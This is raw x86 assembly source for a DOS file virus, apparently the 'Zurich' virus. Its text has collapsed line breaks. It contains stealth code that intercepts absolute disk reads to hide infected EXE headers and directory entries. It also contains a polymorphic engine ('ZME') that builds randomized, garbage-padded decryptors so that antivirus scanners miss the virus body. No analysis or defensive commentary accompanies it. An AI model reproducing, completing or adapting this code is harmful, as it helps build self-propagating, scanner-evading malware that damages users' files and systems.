push ax dx ;file sizeinc ahmov es :[ di.sf_size.lo ], axmov es :[ di.sf_size.hi ], dxmov dl , [ abs_read_drive ] ;<<<<< glukand byte ptr es :[ di +5], 11100000badd byte ptr es :[ di +5], dlinc dx ;future: flop no stealth ? (to slow)mov ah, 32hcall DosCallmov es :[ di.sf_devptr.lo ], bxmov es :[ di.sf_devptr.hi ], dsxor cx , cxmov dx , [ start_sec.hi ]mov ax , [ start_sec.lo ]sub ax , ds : dpb_first_sector [ bx ]sbb dx , cxmov cl , ds : dpb_cluster_mask [ bx ]inc cxdiv cxand dx , dx ;if DX != 0 - errorDOIF Z

inc axinc axmov es :[ di.sf_firclus ], axmov word ptr es :[ di +35h ], ax

DONEpop dx ax ;file sizepop bxpush sicall restore_headerpop discasw ;add di,2pop espush eslea si , [ heap ]mov cx , 16h / 2rep movswcall dosclose

DONEpop dsret

file_for_fake_open equ StealthName;-+------------------------------------------------ ------------------------+-; test after absolute read for exe-header & dir ent ry;-+------------------------------------------------ ------------------------+-pblabel st25

mov si , bxxor ax , ax ;AbsDisk_start_sect.hicmp cx , - 1 ;(inc cx, jz)?DOIF E

mov dx , ds :[ bx.AbsDisk_start_sect.lo ]mov ax , ds :[ bx.AbsDisk_start_sect.hi ]lds si , ds :[ bx.AbsDisk_buffer ]

DONE ;here, DS:SI - read buffer

mov [ start_sec.hi ], axmov [ start_sec.lo ], dxpush silea di , [ vir_heap._exehdr ]MOVSEG es , csmov cx , HDRBUFSIZE/ 2rep movswpop sicall Stealth_Abs_rDO

lodsb ;1cmp al , 0DOIF Z

end_search : retDONEmov cx , 10dDO

lodsb ;0Bcmp al , ' 'jb end_search ;no_dir_entry

CYCLE LUlodsb ;attr of file ;15mov cx , 10dDO

lodsb ;16cmp al , 0 ;unused, must be zerojnz end_search ;no_dir_entry

CYCLE LUadd si , 6lodsw ;dir_size_lcall test_sizeDOIF Z

mov dl , [ abs_read_drive ] ; = $-1inc dx ;future: flop no stealth ? (to slow)push dsmov ah, 32hcall DosCallmov cl , ds : dpb_cluster_mask [ bx ]mov ch , 0inc cxmov bx , ds : dpb_first_sector [ bx ]pop dsmov ax , ds :( dir_first - dir_size_h )[ si ]dec axdec axcwdmul cxadd ax , bxadc dx , 0 ;dx:ax-first sectorpush dsMOVSEG ds , cslea bx , [ heap ]mov word ptr [ bx.AbsDisk_start_sect.lo ], axmov word ptr [ bx.AbsDisk_start_sect.hi ], dxmov word ptr [ bx.AbsDisk_sect_num ], 1mov word ptr [ bx.AbsDisk_buffer.lo ], bxmov word ptr [ bx.AbsDisk_buffer.hi ], dsmov al , [ abs_read_drive ]mov cx , - 1call call_real_25push simov cx , HDRBUFSIZE/ 2lea si , [ heap ]

lea di , [ vir_heap._exehdr ]movseg es , csrep movswpop sipop dscall Stealth_Abs

DONElodsw

CYCLE;-+------------------------------------------------ ------------------------+-endsend

code segment byte publicassume cs : code , ds : code , es : code , ss : code

INCLUDE ZURICH.ASI

extrn dataencriptor :nearextrn start_data :nearextrn _____ :byteextrn heap :nearextrn vir_heap :nearextrn get_cur_time :nearextrn RANDOMIZE :nearextrn dosseek_bof :nearextrn read_buf_22 :near

.LALL

pblabel crypt_exe_header;int 2bh; push ax dx; call dosseek_bof; call read_buf_22; pop dx ax

mov si , [ exehdr.exe_par_dir ]shl si , 4sub ax , sisbb dx , 0

pblabel crypt_exe_header_custommovseg ds , ssmovseg es , ss

;int 2bh; movseg ds, cs

call RANDOMIZElea si , [ vir_heap._exehdr.exe_len_mod_512 ]lea di , [ heap ]mov cx , exe_rle_table - exe_len_mod_512 ;14hmov [ engdata.zmefl ], zmeflHDRjmp ZME_crypt_custom

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel ZME_crypt

cldmov [ engdata.zmefl ], axmov [ _____ ], alcall RND_INITcall get_cur_timemov [ last_infect_time ], axmov si , VIRUSSTACKSIZEmov cx , offset start_data - VIRUSSTACKSIZE ;virus_size

pblabel ZME_crypt_custom

mov [ engdata.datasize ], cxmov [ engdata.targetptr ], direp movsb ;copy data;< set next version probabilitys [di-virs-VIRUSSTAC KSIZE+prEXE]

mov [ engdata.jmp_after_decrypt ], 0test [ engdata.cur_cryptlevel ], 80hjz ZME_crypt_call ZME_crypt_ ;;;double cryptmov di , [ engdata.targetptr ]mov [ engdata.jmp_after_decrypt ], ax ;mov [ engdata.datasize ], cxadd di , cx

pblabel ZME_crypt_push bxtest [ engdata.zmeflags ], MASK EN_BFR_GARBLDOIF NZ

call RND_GET_BYTEinc ahadd [ engdata.datasize ], axcall shit_ax

DONE;-------------------------------------------------- ---------------------------

; ZME_INIT

lea si , [ vir_heap._engdata.cJMP_patch ]mov cx , reg6 - segm_IDT ; clear the work area with 0'sDO

mov [ si ], ch ;inc si ;

CYCLE LUpblabel bad_reg

DOcall RND_GET_THREE_BITSor al , 010b ;AL := R_DX, R_BX, R_SI, R_DIcmp al , R_DX

CYCLE E ; not R_DXlea bx , [ vir_heap._engdata.reg0 ]mov cx , 7jmp SHORTffoundDO

DOlea si , [ vir_heap._engdata.reg0 - 1]call RND_GET_THREE_BITS

pblabel fill_registersinc sicmp si , bxEXIT Ecmp al , R_SPREPEAT Ecmp al ,[ si ]jne fill_registers

CYCLEpblabel ffound

mov [ bx ], alinc bx

CYCLE LU

call RND_GET_BYTE ; X < decriptor_data + initialIPmov [ engdata.value_X ], ax ; or X > decriptor_data+initialIP+datasize+2

call RND_GET_BYTE ; Y < decriptor_data + initialIP - X

mov [ engdata.value_Y ], ax ; or Y > decriptor_data+initialIP+datasize+2-X

mov cx , [ engdata.datasize ]sub cx , 20hmov ax , 3DOIF A

DOcall RND_GETcmp ax , cx

CYCLE Aor al , 101b

DONEmov [ engdata.value_J ], ax ;value_J := 1..datasize-0E

;-------------------------------------------------- ---------------mov ax , disub ax , [ engdata.targetptr ]push ax

; cmp byte ptr [engdata.zmefl+1], (zmeflOBJ s hr 8) and 0FFh; DOIF E; lea si, PMtest; mov cx, 0Fh; rep movsb; DONE

;IRP foo, <50,B8,86,16,CD,2F,58,75,06,5F,55,8B,EC,F F,E7>;sto_byte 0&foo&h;ENDM

;store test for PM;mov ax,1600 (1686) ; 0B8h, 86h, 16h, 0CDh, 2Fh , 75,;int 2f;cmp ax,1600;je real;pop di;push bp;mov bp,sp;jmp di;real:

test [ engdata.zmeflags ], MASK EN_SAVE_REGSDOIF NZ

IFDEF USE_PUSHAsto_byte opPUSHA

ELSEmov cx , 7lea si , [ vir_heap._engdata.reg0 ]DO

lodsbadd al , opPUSH_AXstosb

CYCLE LUENDIF

DONE

mov [ engdata.useregs ], REG_GARBL_ALLlea si , [ di +4]DO

push simov ax , 0Bh* 2call force_not_branch_garblepop sicmp si , di

CYCLE Amov cl , [ engdata.zmeflags ]

IF EN_BFR_GARBLshr cl , EN_BFR_GARBL

ENDIFand cx , MASK EN_BFR_GARBLDOIF NZ

push cxcall garble_more_reg_allcall encode_int21pop cx

CYCLE LU;************************************************** **************************;************************************************** **************************;************************************************** **************************;************************************************** **************************; ENCODE_CRYPT_ROUTINE;************************************************** **************************

mov [ engdata.useregs ], REG_GARBL_ALL ;mov [ engdata.begin_sub ], 0 ;DON'T ENCODE CALL BACKWARD INTO DECRYPTORlea si , [ dataencriptor ]mov cx , CRYPTLEVEL* 4DO

mov byte ptr [ si ], opNOPinc si

CYCLE LUmov byte ptr [ si ], opRETNcall garble_moretest [ engdata.zmeflags ], MASK EN_RELOCATORDOIF NZ ; encode relocator

sto_byte opCALLcall RND_GET_THREE_BITSinc axstoswmov [ engdata.relocator_base ], dicall SHIT_AXcall garble_moremov al , [ engdata.reg0 ]add al , opPOP_AX ;pop r0stosbcall garble_morecall encode_reloc_patchmov [ engdata.reloff_1 ], distoswcall encode_reloc_patchmov [ engdata.reloff_2 ], distosw

DONEcall garble_moremov cl , [ engdata.reg0 ]call encode_zero_reg ;encode MOV IDX ,0call garble_moremov cl , [ engdata.reg2 ] ;encode MOV TMP1, somecall encode_movmov [ engdata.start_reg2 ], distoswcall garble_moremov cl , [ engdata.reg3 ] ;encode MOV TMP2, somecall encode_movmov [ engdata.start_reg3 ], distoswcall garble_moremov [ engdata.loop_top ], di ;loop peak

call garble_moremov ax , [ engdata.value_X ]call encode_addcall garble_moremov cl , 4 ; 87 or 8Bcall encode_reg_memmov ax , [ engdata.value_X ]neg axpush ax ;-(X+1)mov bx , [ engdata.reloff_1 ]call encode_mem_accessmov cl , [ engdata.cur_cryptlevel ]and cx , 7Fh ;mask ?DO

push cxmov [ engdata.useregs ], REG_ENC_ALL ;SET USED 1..3call encode_one_cryptmov [ engdata.useregs ], REG_GARBL_ALL ;SET USED 4..6pop cxcmp cl , 5DOIF E

call garble_moremov ax , [ engdata.value_Y ]call encode_add

DONECYCLE LUmov [ engdata.useregs ], REG_GARBL_ALL ;SET USED 4..6mov cl , 2 ; 87 or 89call encode_reg_mempop ax ;-(X+1)sub ax , [ engdata.value_Y ]push ax ;-(X+Y)

mov bx , [ engdata.reloff_2 ]call encode_mem_accesspop ax ;-(X+Y)sub ax , [ engdata.value_J ] ;-(J+X+Y)call encode_add

;************************************************** *************************; encoding GOTO loop_top;************************************************** *************************

mov [ engdata.useregs ], REG_GARBL_ALLor MASK REG_ENC;mov al , opJC ;encode JC ;call do_cond_jmp ;JCcall many_nonbranch_garble ;Shitmov ax , [ engdata.datasize ] ;dec ax ;call encode_add ;ADD INDEX,value_Jcall finish_cJMPmov al , opJZ ;encode JZ ;JZcall do_cond_jmp ;call many_nonbranch_garble ;Shit

;************************************************** ************;*************; ENCODE JMP NEAR Loop_Top ;;************************************************** ************;*************

call encode_jmp_nearmov ax , [ engdata.loop_top ]xor bx , bxxchg bx , [ engdata.nJMP_patch ]add [ bx ], ax

;************************************************** ************;*************mov [ engdata.useregs ], REG_ALL ;;SET USED 0..6call finish_cJMP

call garble_more ;;*ÂÂÂ*ÂÂ*Â***********Â***************************** *************************¿;*ÅÁÅÂÁÅ*Å***********Å***************************** *************************´;*Á*ÁÁ*Á*Á***********Á***************************** *************************Ù

;-------------------------------------------------- -------------------------;sto_two_byte 0cdh, 2Bh

test [ engdata.zmeflags ], MASK EN_SAVE_REGSDOIF NZ

IFDEF USE_PUSHAsto_byte opPOPA

ELSEmov cx , 7lea si , [ vir_heap._engdata.reg6 ]DO

stdlodsbadd al , opPOP_AXcldstosb

CYCLE LUENDIF

DONE

test [ engdata.zmeflags ], MASK EN_USE_JMPSDOIF Z

sto_byte opRETNDONE

call encode_jmp_nearmov ax , [ engdata.targetptr ]add ax , [ engdata.jmp_after_decrypt ]mov bx , [ engdata.nJMP_patch ]add [ bx ], ax

;crypt data;*ÅÅ*********************************************** ***********************ÅÅ*;*ÅÁ*********************************************** ***********************ÅÅ*;*Á**************************Á********************* *******----------

push dimov di , [ engdata.targetptr ]mov si , [ engdata.datasize ]dec sixor bx , bxcall RND_GETxchg ax , cxcall RND_GETxchg ax , dx

DOadd bx , [ engdata.value_J ]sub bx , siDOIF C

add bx , siDONEmov ax , [ di ][ bx ]call dataencriptor ;call encryptormov [ di ][ bx ], axand bx , bx

CYCLE NZmov si , [ engdata.start_reg2 ]mov word ptr [ si ], cxmov si , [ engdata.start_reg3 ]mov word ptr [ si ], dxpop di

;************************************************** *************************mov cx , disub cx , [ engdata.targetptr ]pop axpop bx

ret;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;*Â********Å*******Â**************ÂÂ*************** ***********************Â**;*Å******Â*Á*******Å**************ÅÅ*************** ***********************Å**; À******Å*********Á *ÁÁ*************** ***********************Á

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**pblabel encode_reloc_patch ;add cs:[r0.(offset addbuf1-relocator_base)], r0

call garble_moresto_two_byte opSEGCS , 01mov al , [ engdata.reg0 ]mov cl , 9mul clor al , 10000100bcmp al , ( R_BX* 9) or 10000100bDOIF NE

xor al , 00000010bDONEstosbmov ax , [ engdata.relocator_base ]neg axret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**pblabel encode_mem_access

push axadd ax , VIRUSSTACKSIZE ;[engdata.sourceptr]and bx , bxDOIF NZ

add [ bx ], disub ax , [ engdata.relocator_base ]add ax , [ engdata.targetptr ]sub ax , VIRUSSTACKSIZE ;[engdata.sourceptr]

DONEstoswpop axjmp garble_more

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**pblabel encode_zero_reg ;cl-register result - 2 byte stored

call RND_GET_BYTEand al , 8add al , 2Bhstosb ;store SUB | XOR R,R : 29, 2Bh, 31, 33mov al , 9 ;cl-registermul clor al , MASK M0Dstosbret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel shit

call RND_GET_THREE_BITSshr al , 1inc ax

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel shit_AX

xchg cx , axDO ;1 to 4 times

call RND_GET_BYTEstosb ;add any shit after crypt data

CYCLE LUret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel choose_fake_mov ;al=C0(add), C8(or), D0(adc), F0(xor)

call RND_GET_BYTEMASKA al , 110xx000 ;al=C0(add), C8(or), D0(adc)cmp al , 0D3h ;no al=D8(sbb)DOIF A

sub al , 0D8h- 0F0h ;al := F0(xor)DONEret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel choose_wr_and_encode_mov

call choose_word_register ; register for call offsetxchg cx , ax

;************************************************** *************************pblabel encode_mov ;cl-register; result - 1..4 byte stored

call RND_GET_BYTEDOIF C

call encode_zero_reg ;reg:=0, CF:=0, possible use 'ADC'STO_BYTE 81h ;store ADD | OR | XOR R,value

;future:;lea reg,[reg+] ?

; mov protect_reg, alcall choose_fake_movcmp cl , R_AXDOIF E

; transcoding:; C0 -> 5; C8 -> D; D0 -> 15; F0 -> 35sub al , 0C0h- 5dec di

DONEDOELSE

mov al , 0B8h ;MOV R,value db B8;DONEor al , clstosbret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ; ********

; zero reg; add/adc/or/xor reg,mempblabel encode_reg_mem

call garble_morecall RND_GET_BYTEPASS Ccmp cl , 4 ;cl=4- 87 or 8B mov r,[]DOIF E

mov cl , [ engdata.reg1 ]call encode_zero_regcall garble_morecall choose_fake_movcmp al , 0D0h ;adcDOIF E

call choose_word_registercall encode_zero_regmov al , 0D0h

DONEadd al , ( 80h+80h )+ 3- 0C0h- 87h ;3, b, 13, 33mov cx , ax

DONEand al , cl ;cl=2- 87 or 89 mov [],radd al , 87h ;cl=4- 87 or 8B mov r,[]mov ah, [ engdata.reg1 ]shl ah, REGor ah, [ engdata.reg0 ]or ah, 10000100bcmp [ engdata.reg0 ], R_BXDOIF NE

and ah, 11111101bDONEmov byte ptr [ di ], opSEGCSinc distoswret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel encode_add ;al-value, add reg0, value

push axmov al ,[ engdata.reg0 ]add al , 0C0hmov ah, almov al , 81hstoswpop axstoswret

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÑÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ*; ³ ZME ³ ENCODE ONE CRYPT OPERATION ³;ÍÏÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ*pblabel encode_one_crypt

DOcall RND_GET_BYTEand al , 00001110bcmp al , [ engdata.lastgarble ]

CYCLE Epblabel force_choice_crypt_operation

mov [ engdata.lastgarble ], al

xchg ax , bxmov cx , word ptr encrypt_opcode_table [ bx ]neg bladd bl , sizeof_encrypt_opcode_table - 2mov dx , word ptr encrypt_opcode_table [ bx ]and cl , not 1 ;clear size data flagand dl , not 1 ;clear size data flagcall RND_GET_BYTEand al , ch ; patch it into the topand al , 3 ; this line unnecessaryor cl , al ; byte for variable opcodesor dl , al ; byte for variable opcodesand dh, not MASK R_Mand ch , not MASK R_MDOIF Z

call choose_registermov ah, [ engdata.lastchoose ] ;lastchoose=1, 2, 3 ³ -1 ³ ax, cx, dx,dec ah ;al=lastchoose(1,2,3)+(0,4)-1= (0,1,2) or (4,5,6)shl ax , REGor ch , alor dh, ah

; IF CRYPTLEVEL GT 8;;;;;;;;IF YOU HAVE ANY TROUBLE - UNCOMMENT THIS;and [ engdata.useregs ], not MASK REG_ENC ;SET USED 2..3;do not reg1 in r/m field if use two register

; ENDIFtest cl , 1DOIF NZ

and dh, 11011011b ;don't use BP, SI, DIDONE

DONEcall choose_registeror ch , alor ch , MASK M0D ;no use memoryor dh, [ engdata.lastchoose ]dec dhor dh, MASK M0D ;no use memorytest cl , 1 ;use wordDOIF NZ

and dh, 11111011b ;don't use BP, SI, DIor dl , 1

DONEcmp al , R_AX

; mov ax, cxsto_word_ cxDOIF E ;optimize for ax/al

test al , 01111110bDOIF Z

and al , 1or al , ahMASKA al , 00xxx10xdec didec distosb

DONEDONEsub si , 4mov word ptr [ si ], dxtest cl , 01111110b ;al - high byte of opcode = chDOIF Z

call RND_GETstoswcmp cl , 81h ;16 bit

DOIF NEdec dimov ah, opNOP

DONEmov word ptr [ si ][ 2], ax

DONEmov [ engdata.useregs ], REG_GARBL_ALL

;************************************************** *********************test [ engdata.zmeflags ], MASK EN_INT_GARBLjz garble_more ;0mov ax , 1jmp garble_more_AX

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel garble_more_reg_all

mov [ engdata.useregs ], REG_ALL ;SET USED all registers;************************************************** *************************pblabel garble_more

call RND_GET_THREE_BITSand al , not 4 ;1

pblabel garble_more_AXpush si cxxchg cx , axinc cx ;garble count = 4..7DO

push cx ; save garble countcall garble_once ; garble ***MACRO***pop cx ; restore garble count

CYCLE LUcall finish_cJMP ; if so, finish itcall many_nonbranch_garble ; garble garblemov bx , [ engdata.nJMP_patch ] ; check if pending nJMPand bx , bxDOIF NZ

STO_BYTE opRETN ; encode a RETNcall shit ; after RETN - any shit !add [ bx ], dimov bx , [ engdata.end_of_jmp ]mov [ engdata.begin_sub ], bxmov word ptr [ engdata.nJMP_patch ], 0call many_nonbranch_garble ; garble

DONEpop cx siretn

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel many_nonbranch_garble

call RND_GET_THREE_BITS ; do large instructionshr ax , 1inc axxchg cx , axDO

call not_branch_garble_with_save_cxCYCLE LUretn

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel finish_cJMP ;

DOmov ax , di ; get current locationmov bx , [ engdata.cJMP_patch ] ; get previous locationand bx , bx ; in not open cJmpJZ @@retn ; cJMP_patch == 0? i.e. issub ax , bx ; there an unfinished cJMP?dec ax ; calculate offsetEXIT NZcall not_branch_garble ; fill in some instructions

CYCLEcmp al , 7Fh ; are we close enough?DOIF A ; if so, finish this now

mov al , 0 ; if not, encode cJMP $+2DONEmov [ bx ], al ; patch the cJMP destinationmov word ptr [ engdata.cJMP_patch ], 0 ; clear usage flag

@@retn:retn

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel do_one_byte

call choose_registercmp al , R_AXlea bx , onebyte_tableDOIF E ; if possible use AX as garbage

lea bx , onebyte_table_axDONEcall RND_GET_THREE_BITSxlatcmp al , 40hGOIN Ecmp al , 48h ; DEC or INC ??DOIF E ; all other onebyte command have opcode great 48h

xchg cx , axcall choose_word_registeradd al , cl

DONEstosbretn

;endp;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;Í* encode * branch * garbles *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel garble_once

call RND_GETjp encode_CALLjb encode_int21jz encode_cond_jmpjo not_branch_garblejs do_one_byte

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍtest [ engdata.zmeflags ], MASK EN_USE_CALLjz garble_oncecmp word ptr [ engdata.cJMP_patch ], 0 ; is there an unfinishedjnz finish_cJMP

;* encode jmp near ******************************** *************************pblabel encode_jmp_near

cmp word ptr [ engdata.nJMP_patch ], 0 ; is there an unfinishedjnz encode_cond_jmp

test [ engdata.zmeflags ], MASK EN_RELOCATOR

; jnz encode_jmp_nearE9 ;< jmp looptop & jmp virus (E9) if relocatorGOIN NZcall RND_GET_BYTEDOIF NZ

sto_byte opJMPNmov [ engdata.nJMP_patch ], di ; save location to patchxor ax , axcall sto_min_di_2

DOELSE ; encode JMP registercall choose_wr_and_encode_movmov [ engdata.nJMP_patch ], di ; save location to patchxor ax , axcall setup_regor ah, cl ;ax= 0E0FFhstosw

DONEcall shit ; after jmp - any shit ! <<<<<<debugmov [ engdata.end_of_jmp ], dijmp garble_once

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;* encode a conditional jmp *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍpblabel encode_cond_jmp

test [ engdata.zmeflags ], MASK EN_USE_JMPSjz garble_oncecmp word ptr [ engdata.cJMP_patch ], 0 ; is there an unfinishedjnz finish_cJMPcall RND_GET_BYTEDOIF Z

